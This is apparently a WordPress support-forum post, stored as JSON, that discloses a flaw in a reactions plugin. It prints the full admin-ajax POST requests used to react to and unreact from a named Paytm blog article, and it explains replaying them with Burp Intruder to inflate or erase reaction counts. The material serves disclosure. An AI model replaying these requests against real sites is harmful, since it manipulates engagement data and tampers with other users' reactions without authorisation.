Description: Abuse of Functionality is an attack technique that uses a web site’s own features and functionality to attack itself or others. Abuse of Functionality can be described as the abuse of an application’s intended functionality to perform an undesirable outcome.
\nProof of Concept:
\nAs a proof of concept let us take a article URL : https:\/\/entertainmentblog.paytm.com\/2017\/03\/16\/mightier-grander-power-packed-baahubali-2-trailer-out\/
\nBelow this article there is an option to react on this article with various options. People read the article and react on it and that also gives an impression of article for other people.
\nThe functionality “React” and “Unreact” can be repeated for “n” number of times for an article.
\nWhen we react on above URL the HTTP request which goes is :
\nPOST \/wp-admin\/admin-ajax.php HTTP\/1.1
\nHost: xxxxxx
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko\/20100101 Firefox\/56.0
\nAccept: \/
\nAccept-Language: en-US,en;q=0.5
\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8
\nX-Requested-With: XMLHttpRequest
\nReferer: xxxxxxx
\nContent-Length: 55
\nCookie:
\nConnection: close
\npostid=1470&action=rns_react&reaction=love&unreact=false<\/p>\n
With the help of Intruder we can replay this request (With Null Payload) for n number of times to increase a particular reaction for the article. <\/p>\n
Similarly when we “unreact” to any article the HTTP request which goes is :
\nPOST \/wp-admin\/admin-ajax.php HTTP\/1.1
\nHost: xxxxx
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko\/20100101 Firefox\/56.0
\nAccept: \/
\nAccept-Language: en-US,en;q=0.5
\nContent-Type: application\/x-www-form-urlencoded; charset=UTF-8
\nX-Requested-With: XMLHttpRequest
\nReferer: xxxxx
\nContent-Length: 55
\nCookie:
\nConnection: close
\npostid=1470&action=rns_react&reaction=love&unreact=true<\/p>\n
We can also intrude this with null payloads and can decrease any reaction on any article. It will be possible for an user to decrease\/increase the reactions given by other people on any article.<\/p>\n","protected":false},"template":"","class_list":["post-9558384","topic","type-topic","status-publish","hentry","topic-tag-security-issue"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/9558384","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/9558384\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=9558384"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}